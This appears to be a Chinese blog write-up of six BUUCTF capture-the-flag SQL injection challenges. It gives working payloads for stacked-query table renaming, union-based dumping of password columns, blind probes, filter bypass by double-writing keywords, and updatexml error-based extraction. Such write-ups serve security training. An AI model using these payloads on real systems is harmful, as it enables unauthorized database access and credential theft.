BUUCTF web SQL注入篇

拼搏现实的明天。 2022-08-29 00:16 214阅读 0赞

### 文章目录 ###

*  \[极客大挑战 2019\]EasySQL
 *  \[强网杯 2019\]随便注
 *  \[SUCTF 2019\]EasySQL
 *  \[极客大挑战 2019\]LoveSQL
 *  \[极客大挑战 2019\]BabySQL
 *  \[极客大挑战 2019\]HardSQL

# \[极客大挑战 2019\]EasySQL #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center]  
根据题目，可以使用万能密码来尝试登陆。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 1]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 2]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 3]

# \[强网杯 2019\]随便注 #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 4]

1.  根据题目，可以想到此题目为sql注入，提交1与1’的结果如下![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 5]  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 6]  
    说明闭合方式为1’
2.  使用1’ order by 查询字段数，得出为两列![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 7]  
    ![在这在这里插入代码片里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 8]  
    使用联合注入，发现select被过滤，常用的注入方式无法满足，尝试堆叠注入。
3.

1'; show tables;#     
    0'; show tables;#      //获得两个表名

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 9]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 10]  
4.

0'; show columns from `words`;#
    
    0'; show columns from `1919810931114514`;#     
    //注意表明左右两侧应用键盘左上角的`符号，不可以用单引号

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 11]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 12]  
5. 经观察，`flag`在`1919810931114514`表中，可以看到`words`表里有两个属性，即两列：`id` 和`data`。而`1919810931114514`表里只有一个属性列说明输入框可能查询的就是`words`表。思路是把`1919810931114514`表改名为`words`表，把属性名`flag`改为`id`，然后用`1’ or 1=1;#` 显示`flag`出来

1';rename table `words` to words2;     //先把words表表明换成其他
    1';rename table `1919810931114514` to `words`;#
    1'; alter table words change flag id varchar(100);#
    1'; show tables;# 
    1'; show columns from words;#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 13]  
`varchar`函数返回字符串、日期型、图形串的可变长度的字符串表示。 `eg: select varchar (name,50) from test --50`为截取长度，如果name字符串的长度大于50，则返回“`SQL0445W` 值已被截断。

# \[SUCTF 2019\]EasySQL #

1.  与上一关相同的思路，输入1和2查看回显均相同，而字母没有回显。![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 14]  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 15]
2.  输入1’，没有回显，说明存在sql注入，即不考虑报错注入的方法
3.  使用order by查询字段，发现不论order by后面输入几显示都一样，则可能过滤了order by 字段。  
    ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 16]
4.  排除了报错注入和来联合查询注入，我们可以尝试布尔注入,发现回显结果依旧如上。

1 and length(database())>=1#
    
    1' and length(database())>=1#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 17]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 18]  
5. 我们继续尝试时间盲注

1 and if(length(database())>=1,1,sleep(5))#
    
    1' and if(length(database())>=1,1,sleep(5))#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 19]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 20]  
发现回显依然相同。  
6. 我们继续尝试堆叠注入

1;show databases#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 21]

1;show tables#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 22]

1;show columns from Flag#

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 23]  
7. 这时候我们要重新考虑前面的步骤，这道题目需要我们去对后端语句进行猜测  
一、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有`||`  
二、也就是select 输入的数据`||`内置的一个列名 `from` 表名=>即为

select post进去的数据||flag from Flag(含有数据的表名，通过堆叠注入可知)

此时的||起到的作用是or的作用。  
8. 内置的sql语句为

sql=“select”.post[‘query’]."||flag from Flag";

如果$post\[‘query’\]的数据为\* ,1，sql语句就变成了

select *,1||flag from Flag
    
    select *,1 from Flag

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 24]  
`*,1` 后面的这个`1`就是为了吃掉`||`但是得非0数字（比如2.3.4.5.6）,输入字母它是不会识别的。

# \[极客大挑战 2019\]LoveSQL #

首先判断为单引号闭合![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 25]  
尝试万能密码，登录成功，结果尝试不是正确的`flag`。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 26]  
我们重新从`order by`查询字段开始

?username=admin'  order by 3# &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 27]  
查看`url`处，发现字符被`url`编码，我们可以尝试将注释符`#`进行`url`编码，得到字段数为3![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 28]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 29]

?username=-1' union select 1,2,3%23 &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 30]  
联合查询获得数据库

?username=-1' union select 1,2,database()%23 &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 31]  
获得表名

?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 32]  
查看`l0ve1ysq1`表中的字段

?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23 &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 33]  
查看`geekuser`表中的字段

?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23 &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 34]  
查看`geekuser`字段中的`password`的值

?username=-1' union select 1,2,group_concat(password) from geek.geekuser%23 &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 35]  
查看`l0ve1ysq1`字段中的`password`的值，得到`flag`。

?username=-1' union select 1,2,group_concat(password) from geek.l0ve1ysq1%23 &password=admin

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 36]

# \[极客大挑战 2019\]BabySQL #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 37]  
又是前面熟悉的SQL注入的题目的背景图  
首先尝试万能密码登录，发现数据使用为`get`方式传参，提示用户名密码错误。![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 38]![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 39]  
经过测试字符串的闭合方式为单引号![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 40]  
尝试将密码注释掉，登录成功。

?username=admin' --+&password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 41]  
查看报错信息，发现`or`被过滤

?username=admin' order by 3--+&password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 42]  
尝试双写关键字绕过

?username=admin' oorrder by 2--+ &password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 43]  
但是使用万能密码却可以登录成功

?username=admin' oorr  '1'='1--+ &password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 44]  
继续尝试联合注入的语句，发现union select均被过滤

?username=admin' union select 1,2,3,4--+ &password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 45]  
继续尝试双写关键字绕过，得到字段数为3

?username=admin' uniunionon seleselectct 1,2,3--+ &password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 46]  
接着查看联合注入的回显位置

?username=1' uniunionon seleselectct 11,22,33--+ &password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 47]  
继续查看数据库为`geek`

?username=1' uniunionon seleselectct 11,22,database()--+ &password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 48]  
继续查看表名，发现`where、from、or`被过滤，均使用双写关键字绕过。得到表名为`b4bsql,geekuser`

?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'--+ &password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 49]  
爆出表`b4bsql`中的字段名

?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+&password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 50]  
爆出字段`b4bsql`字段中`paaaword`的值，得到flag。

?username=1' uniunionon selselectect 11,22,group_concat(passwoorrd) frfromom geek.b4bsql--+&password=1

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 51]

# \[极客大挑战 2019\]HardSQL #

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 52]

1.  随便输入一个用户名和密码，查看`url`，发现为`get`传参方式。![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 53]
2.

check.php?username=aaa&password=aaa'

尝试单引号发现出现报错，查看报错提示，猜测闭合方式为单引号  
3. 经过测试，空格和注释符号均被注释，注释用%23进行绕过，而将空格使用（）来绕过。使用联合注入不太行，尝试报错注入。在用户名或密码处进行注入均可。  
4. 爆库名

check.php?username=admin&password=aaa'or(updatexml(1,concat(0x7e,database()),1))%23
    
    check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,database()))%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 54]

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 55]

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 56]

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 57]

> 1.  空格被过滤可以使用`/**/`或者`()`绕过
> 2.  `=`号被过滤可以用`like`来绕过
> 3.  `substring`与`mid`被过滤可以用`right`与`left`来绕过

右边的flag

admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU1ODU0Njc5_size_16_color_FFFFFF_t_70_pic_center 58]

将两次得到的`flag`进行拼接即可。

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